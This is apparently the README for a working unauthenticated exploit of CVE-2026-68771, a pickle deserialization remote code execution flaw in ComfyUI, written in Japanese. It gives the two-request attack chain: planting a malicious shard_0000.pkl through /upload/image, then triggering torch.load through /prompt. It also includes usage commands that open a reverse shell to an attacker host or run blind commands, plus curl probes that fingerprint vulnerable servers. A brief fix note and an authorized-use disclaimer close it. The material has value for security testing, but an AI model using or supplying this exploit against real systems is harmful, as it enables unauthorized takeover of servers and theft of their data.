
CVE-2026-68771 の認証なしエクスプロイト。ComfyUI における pickle デシリアライゼーション RCE です。/upload/image 経由で細工されたシャードを配置し、/prompt を通じてトリガーして、コマンドを実行するかリバースシェルを開きます。
ComfyUI における LoadTrainingDataset ノードを介した認証不要のリモートコード実行。
LoadTrainingDataset.execute() は、サーバーの出力ディレクトリからデータセットシャードを
torch.load(f) で読み込み、weights_only=True を指定しません。PyTorch < 2.6(weights_only が
デフォルトで False の場合)では、細工された shard_*.pkl が読み込み時にそのピクルス __reduce__ を実行します(CWE-502)。
ComfyUI は認証なしで提供されており、/upload/image ルート(type=output 指定時)は
拡張子チェックなしで生のアップロードバイトを書き込むため、 を配置してから
認証なしの2リクエストでトリガーできます。
.pkl< 2.6 上の ComfyUI 0.23.08188(認証なし)Python 3 標準ライブラリのみ — 依存関係は不要です。
# リバースシェル(先にリスナーを起動: nc -lvnp 4444)
python3 exploit.py http://10.10.10.10:8188/ --shell 10.10.14.5:4444
# ブラインドの単一コマンド実行
python3 exploit.py http://10.10.10.10:8188/ -c 'id > /tmp/pwned'
コマンドはサーバー上で実行されます。その出力は返されないため、結果を確認するには --shell でリバース
シェルを使用するか(または読み取り可能なパスに書き込んで)ください。
認証不要の2リクエスト:
配置 — POST /upload/image に type=output、subfolder=training_dataset、ファイル名
shard_0000.pkl を指定します。/upload/image ルートは生のバイトを書き込むため(このパスでは画像処理は行われません)、
ピクルスはそのまま output/training_dataset/shard_0000.pkl に配置されます。ピクルスの
__reduce__ は (os.system, (cmd,)) を返します。
トリガー — POST /prompt にワークフローを指定します: LoadTrainingDataset ノード
(folder_name=training_dataset)を SaveLatent 出力ノードに接続します。出力ノードにより
ComfyUI は LoadTrainingDataset を強制的に実行し、shard_*.pkl をグロブして次のように呼び出します:
with open(shard_path, "rb") as f:
shard_data = torch.load(f) # weights_only=True なし -> torch < 2.6 ではピクルスが実行される
逆シリアライゼーション中にピクルスの __reduce__ が os.system(cmd) を実行します。
curl -s http://10.10.10.10:8188/system_stats | python3 -c "import sys,json;print(json.load(sys.stdin)['system']['comfyui_version'])"
# 0.23.0
curl -s -o /dev/null -w '%{http_code}\n' http://10.10.10.10:8188/object_info/LoadTrainingDataset
# 200 -> 脆弱なノードが存在
torch.load(f, weights_only=True) で読み込みます。weights_only がデフォルトで True になり、制限付き
アンピクラーが os.system を拒否します。許可を受けたセキュリティテストおよび教育目的のみに使用してください。所有しているシステム、または 明示的なテスト許可を得たシステムに対してのみ使用してください。